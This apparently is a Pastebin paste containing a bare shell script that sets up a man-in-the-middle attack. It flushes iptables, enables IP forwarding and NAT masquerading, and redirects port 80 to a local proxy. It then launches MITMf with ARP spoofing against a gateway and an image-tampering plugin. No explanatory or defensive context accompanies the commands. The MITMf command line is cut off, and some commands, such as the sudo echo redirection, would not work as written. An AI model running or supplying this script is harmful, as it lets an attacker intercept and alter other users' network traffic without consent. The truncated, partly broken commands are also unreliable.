Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- gw_if="eth0"
- client_if="eth1"
- gw_ip="172.25.10.1"
- client_iprange ="10.10.99.1/24"
- sudo ifconfig $client_if $client_iprange
- sudo iptables -F INPUT
- sudo iptables -F OUTPUT
- sudo iptables -F FORWARD
- sudo iptables -F -t nat
- sudo echo 1 > /proc/sys/net/ipv4/ip_forward
- sudo iptables -t nat -A POSTROUTING -o $gw_if -j MASQUERADE
- sudo iptables -t nat -A PREROUTING -i $client_if -p tcp --dport 80 -j REDIRECT --to-port 8080
- cd ~/MITMf
- sudo python2 mitmf.py -i $client_if --gateway $gw_ip -l 8080 --spoof --arp --upsidedowntern$
- echo 0 > /proc/sys/net/ipv4/ip_forward
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement